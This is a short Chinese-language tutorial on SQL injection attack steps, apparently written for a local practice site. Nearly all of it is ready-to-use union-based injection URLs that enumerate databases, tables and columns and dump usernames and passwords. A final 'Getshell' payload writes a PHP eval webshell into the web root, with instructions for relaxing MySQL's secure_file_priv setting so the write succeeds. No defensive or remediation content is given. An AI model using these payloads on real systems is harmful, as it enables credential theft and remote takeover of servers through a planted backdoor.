1. 程式人生 > >web滲透——SQL注入漏洞攻擊步驟

web滲透——SQL注入漏洞攻擊步驟

注入思想:

1、找到注入點:判斷是否有漏洞,尋找插入位置

2、構造注入語句,並在注入點注入形成新的SQL語句

3、新形成的SQL語句提交資料庫處理

4、資料庫執行新的SQL語句,引發注入攻擊

操作流程

1、尋找注入點:

 

2、爆出列數:

http://127.0.0.1/sql/1/?id=1'+ORDER+BY+4 --+

 

http://127.0.0.1/sql/1/?id=1'+ORDER+BY+5 --+


3、一次性顯示資料庫名稱、版本號:

http://127.0.0.1/sql/1/?id=1'+UNION+ALL+SELECT+1,2,3,4 --+

 

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),4 --+

 

4、獲取庫名:

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4 --+

 

5、獲取表名:

http://127.0.0.1/sql/1/?id=0' UNION ALL SELECT 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7365637572697479),4 --+

 

6、獲取列名:

http://127.0.0.1/sql/1/?id=-1'  UNION ALL SELECT1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),3,4--+

 

7、獲取使用者資料資訊:

http://127.0.0.1/sql/1/?id=-1' UNION ALL SELECT 1,(SELECT+GROUP_CONCAT(id,username,password,lei+SEPARATOR+0x3c62723e)+FROM+security.users),3,4--+

 

8、Getshell:

http://127.0.0.1/sql/1/?id=0'  UNION ALL SELECT 1,2,3,"<?php @eval($_POST['as']); ?>" into outfile "D://Study SoftWare//phpstudy//PHPTutorial//WWW//webshell123.php" --+

 

這種情況下,是phpstudy的檔案許可權只可讀;在資料庫配置檔案my.ini中的[mysqld]模組中插入secure_file_priv="D:/StudySoftWare/phpstudy/PHPTutorial/WWW"即可,其中絕對路徑可以修改。